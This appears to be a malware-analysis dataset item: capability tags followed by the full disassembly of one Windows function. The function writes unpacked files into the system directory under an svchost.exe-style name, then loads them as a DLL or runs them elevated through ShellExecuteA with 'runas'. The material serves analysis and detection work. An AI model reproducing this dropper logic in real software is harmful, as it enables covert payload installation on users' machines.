Function at 0x47b3a0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48890e
mov eax, dword fs:[0]
push eax
sub esp, 0x584
mov eax, dword [0x4a3350]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x324]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor ecx, ecx
mov al, byte [ebp + ecx - 0x324]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x221], al
test al, al
jne 0x47b3e5
lea ecx, [ebp - 0x220]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x47b401
mov eax, dword [str._svchost.exe]
mov dword [ecx], eax
mov eax, dword [0x498f1c]
mov dword [ecx + 4], eax
mov eax, dword [0x498f20]
mov dword [ecx + 8], eax
mov al, byte [0x498f24]
push 8
mov byte [ecx + 0xc], al
call fcn.00423553
add esp, 4
mov dword [ebp - 0x55c], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x47b44c
mov ecx, eax
call fcn.004805e0
mov dword [ebp - 4], 0xffffffff
xor bl, bl
call fcn.0047aea0
test al, al
je 0x47b809
push esi
call fcn.0041fc85
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
je 0x47b483
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov al, byte [edx + ecx]
mov byte [edx + edi], al
inc edx
cmp edx, esi
jb 0x47b473
push 0
push esi
push edi
call fcn.0047c4d0
mov esi, eax
add esp, 0xc
mov dword [ebp - 0x560], esi
test esi, esi
je 0x47b809
lea eax, [ebp - 0x554]
xor edi, edi
push eax
push edi
push esi
mov dword [ebp - 0x55c], edi
call fcn.0047c390
add esp, 0xc
test eax, eax
jne 0x47b800
push dword [ebp - 0x328]
call fcn.0041fc85
push dword [ebp - 0x328]
mov dword [ebp - 0x558], eax
push eax
push edi
push esi
call fcn.0047ca50
add esp, 0x14
test eax, eax
jne 0x47b800
cmp dword [ebp - 0x328], eax
jle 0x47b7ce
mov word [ebp - 0x18], ax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x550]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 5
jl 0x47b537
movzx ecx, word [ebp + eax*2 - 0x552]
mov word [ebp - 0x14], cx
movzx ecx, word [ebp + eax*2 - 0x554]
mov ax, word [ebp + eax*2 - 0x556]
mov word [ebp - 0x16], cx
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x590]
push eax
call fcn.0047a700
mov ecx, eax
add esp, 4
cmp dword [ecx + 0x14], 0x10
jb 0x47b550
mov ecx, dword [ecx]
lea edx, [ebp - 0x220]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x47b556
cmp dword [ebp - 0x57c], 0x10
jb 0x47b57b
push dword [ebp - 0x590]
call fcn.004235a4
add esp, 4
push 0x498f28
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
xor ebx, ebx
test eax, eax
jne 0x47b6a4
xor ecx, ecx
mov al, byte [ebp + ecx - 0x220]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x11d], al
test al, al
jne 0x47b596
lea eax, [ebp - 0x590]
push 8
push eax
call fcn.0047ad90
mov edx, eax
add esp, 8
cmp dword [edx + 0x14], 0x10
jb 0x47b5c6
mov edx, dword [edx]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x47b5c8
lea edi, [ebp - 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x47b5d8
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
cmp dword [ebp - 0x57c], 0x10
rep movsb byte es:[edi], byte [esi]
jb 0x47b605
push dword [ebp - 0x590]
call fcn.004235a4
add esp, 4
lea ecx, [ebp - 0x11c]
dec ecx
lea esp, [esp]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x47b610
mov eax, dword [str..dll]
mov dword [ecx], eax
mov al, byte [0x498854]
mov byte [ecx + 4], al
lea eax, [ebp - 0x11c]
push 0x48a714
push eax
call fcn.00425d2b
mov esi, eax
add esp, 8
test esi, esi
jne 0x47b668
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 5
jl 0x47b594
mov edi, dword [ebp - 0x558]
mov bl, 1
mov esi, dword [ebp - 0x560]
jmp 0x47b7d4
mov edi, dword [ebp - 0x558]
push esi
push dword [ebp - 0x328]
push 1
push edi
call fcn.00423925
push esi
call fcn.00423755
add esp, 0x14
lea eax, [ebp - 0x11c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, dword [ebp - 0x560]
mov bl, 1
jmp 0x47b7d4
xor eax, eax
mov cl, byte [ebp + eax - 0x220]
lea eax, [eax + 1]
mov byte [ebp + eax - 0x11d], cl
test cl, cl
jne 0x47b6a6
lea eax, [ebp - 0x578]
push 8
push eax
call fcn.0047ad90
mov edx, eax
add esp, 8
cmp dword [edx + 0x14], 0x10
jb 0x47b6d6
mov edx, dword [edx]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x47b6d8
lea edi, [ebp - 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x47b6e8
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
cmp dword [ebp - 0x564], 0x10
rep movsb byte es:[edi], byte [esi]
jb 0x47b715
push dword [ebp - 0x578]
call fcn.004235a4
add esp, 4
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x564], 0xf
mov dword [ebp - 0x568], 0
dec ecx
mov byte [ebp - 0x578], 0
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x47b737
mov eax, dword [0x4986d8]
mov dword [ecx], eax
mov al, byte [0x4986dc]
mov byte [ecx + 4], al
lea eax, [ebp - 0x11c]
push 0x48a714
push eax
call fcn.00425d2b
mov esi, eax
add esp, 8
test esi, esi
jne 0x47b78c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 5
jl 0x47b6a4
mov edi, dword [ebp - 0x558]
mov bl, 1
mov esi, dword [ebp - 0x560]
jmp 0x47b7d4
mov edi, dword [ebp - 0x558]
push esi
push dword [ebp - 0x328]
push 1
push edi
call fcn.00423925
push esi
call fcn.00423755
add esp, 0x14
lea eax, [ebp - 0x11c]
push 0
push 0
push 0
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [ebp - 0x560]
mov bl, 1
jmp 0x47b7d4
mov edi, dword [ebp - 0x558]
push edi
call fcn.00424199
mov edi, dword [ebp - 0x55c]
lea eax, [ebp - 0x554]
push eax
inc edi
push edi
push esi
mov dword [ebp - 0x55c], edi
call fcn.0047c390
add esp, 0x10
test eax, eax
je 0x47b4c0
push esi
call fcn.0047bb70
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042419e
mov esp, ebp
pop ebp
ret